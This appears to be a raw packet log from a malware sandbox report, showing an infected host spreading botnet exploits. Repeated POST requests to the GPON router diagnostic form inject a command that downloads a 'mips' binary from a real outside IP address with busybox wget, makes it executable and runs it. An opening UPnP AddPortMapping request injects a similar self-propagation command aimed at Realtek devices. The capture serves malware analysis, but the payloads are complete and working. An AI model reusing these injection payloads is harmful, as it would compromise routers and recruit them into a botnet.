65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:17.146125078 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.13	52706	52.79.99.246	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.939007998 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.230093002 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:17 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.13	58886	139.196.153.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.949503899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.251152039 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:17 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.13	51950	18.166.160.29	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.950546026 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.252933025 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:17 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.13	58742	27.19.253.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.963613033 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.271965981 CEST	483	IN	HTTP/1.1 400 Bad Request Server: Tengine Date: Mon, 15 Apr 2024 06:53:17 GMT Content-Type: text/html Content-Length: 249 Connection: close Via: skunlun1.cn5571[,0] Timing-Allow-Origin: * EagleId: 0000000017131639971185929e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>400 Bad Request</h1><p>Your browser sent a request that this server could not understand.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.13	38574	46.242.211.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:16.975796938 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:17.295124054 CEST	285	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:17 GMT Content-Type: text/html Content-Length: 128 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 6f 70 73 21 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Oops! 400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.13	52642	117.185.238.12	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.007406950 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:19.040446043 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:21.504395962 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:26.368408918 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:36.096477032 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:56.576498032 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.13	58746	27.19.253.176	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:17.262404919 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:18.880475998 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
